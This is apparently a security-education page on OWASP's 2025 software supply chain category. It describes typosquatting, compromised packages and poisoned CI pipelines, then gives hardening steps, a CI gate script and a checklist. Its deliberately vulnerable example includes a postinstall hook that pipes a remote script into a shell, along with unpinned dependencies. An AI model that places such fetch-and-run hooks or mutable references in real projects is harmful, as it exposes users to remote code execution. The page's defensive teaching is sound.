Skip to content
back to the map
practice
stage: ship
2 min read

A03 Software Supply Chain Failures

Your application is mostly other people's code. A vulnerable library, a malicious package, or a tampered build step reaches production with your name on it.

npm audit / pip-auditOSV-ScannerDependabot / RenovateSyft + GrypeSigstore cosignOpenSSF Scorecard

What it is

A supply chain failure is a break anywhere in the chain that delivers software: the dependencies you pull, the registry you pull them from, the build system, the CI plugins, the container base image, and the way artifacts are signed and deployed.

:2025 lists it as A03, widening the older category about vulnerable and outdated components to cover the whole chain, including malicious packages and compromised pipelines.

How the attack works

  • Known-vulnerable version: a library with a public stays in the lockfile for years.
  • Typosquatting and : a package with a near-identical or internal-looking name is installed instead of the real one.
  • Compromised maintainer or package: a legitimate package ships a malicious update, often with an install script.
  • Poisoned pipeline: a CI action or build script is changed, or pinned to a mutable tag, and runs attacker code with your secrets.
  • Unverified artifacts: nothing proves that what runs in production is what was built from reviewed source.

Vulnerable setup

Unpinned versions, a mutable CI action tag, and installing straight from an arbitrary URL.

package.jsonjson
{
  "dependencies": {
    "left-pad": "*",
    "internal-utils": "latest"
  },
  "scripts": {
    "postinstall": "curl -s https://example.sh/setup | sh"
  }
}
.github/workflows/build.ymlyaml
steps:
  - uses: some-org/build-action@main        # mutable ref: changes under you
  - run: pip install -r requirements.txt     # no hashes, no lockfile
  - run: docker build -t app .               # FROM python:latest

The fix

Know what you ship (a software bill of materials), lock exactly what you install, verify where it comes from, and make the pipeline itself trustworthy. Pin by immutable identifiers (commit SHA, image digest, content hash), and scan on every change and on a schedule, because new CVEs appear for old code.

install deterministicallybash
# Node: install exactly what the lockfile says, no install scripts from dependencies
npm ci --ignore-scripts

# Python: require hashes
pip install --require-hashes -r requirements.txt   # generated by pip-compile --generate-hashes
.github/workflows/build.ymlyaml
permissions:
  contents: read
steps:
  - uses: some-org/build-action@3f2a1c9d4e5b6a7c8d9e0f1a2b3c4d5e6f708192   # full commit SHA
  - run: pip install --require-hashes -r requirements.txt
  - run: |
      syft . -o cyclonedx-json > sbom.json
      grype sbom:sbom.json --fail-on high
Dockerfiledockerfile
FROM python:3.12-slim@sha256:<digest-you-reviewed>
COPY requirements.txt .
RUN pip install --require-hashes -r requirements.txt

Prove the fix

Make the pipeline fail when the chain weakens: a vulnerable dependency, an unpinned reference, or an unsigned artifact. These checks work the same for any language because they read the lockfile, the and the workflow files.

supply-chain-gate.shbash
set -e
# vulnerable dependencies (any ecosystem with a lockfile)
osv-scanner --lockfile=package-lock.json --lockfile=requirements.txt

# no workflow action may use a mutable ref
if grep -RInE 'uses: [^@]+@(main|master|latest|v[0-9]+)$' .github/workflows; then
  echo 'pin actions to a commit SHA'; exit 1
fi

# artifact must be signed by our pipeline identity
cosign verify --certificate-identity-regexp 'https://github.com/example/app/.*' \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  registry.example.com/app@$DIGEST

Checklist

  • Keep an SBOM for every release and know which services use which versions.
  • Commit lockfiles; install from them; review dependency changes in pull requests.
  • Prefer few, maintained dependencies; remove what you no longer use.
  • Set a private-registry scope or namespace for internal packages to stop dependency confusion.
  • Pin CI actions and base images to immutable identifiers; give CI the it needs.
  • Sign artifacts and verify the signature before deploy.
  • Scan continuously: yesterday's clean build can have a CVE today.
OWASP Top 10The best-known reference list of web application security risks (A01 broken access control, A02 cryptographic failures, A03 injection...), revised every few years by the OWASP community. It is an educational map of risk categories, not a tool checklist or a certification.see in glossary →CVEcommon vulnerabilities and exposuresThe unique identifier of ONE specific public vulnerability, in the format CVE-YEAR-NUMBER. E.g., CVE-2021-44228 is Log4Shell. It is the real instance, not the class of the problem.see in glossary →Dependency confusionTricking a build into pulling a public package with the same name as an internal one. Use scoped names and a private registry that wins.see in glossary →SBOMThe software's ingredient list: dependencies, versions, licenses and hashes, in a standard format.see in glossary →Least privilegeleast privilegeThe principle of giving each identity only the permissions strictly needed for its function, and nothing more. It is the opposite of 'admin user by default': every extra role is one more path an attacker can use after a compromise.see in glossary →

connections on the map

updated on 14/10/2026 · sources to go deeper · report an error

in other domains

Study before

Unlocks

test what you learned

Loading questions…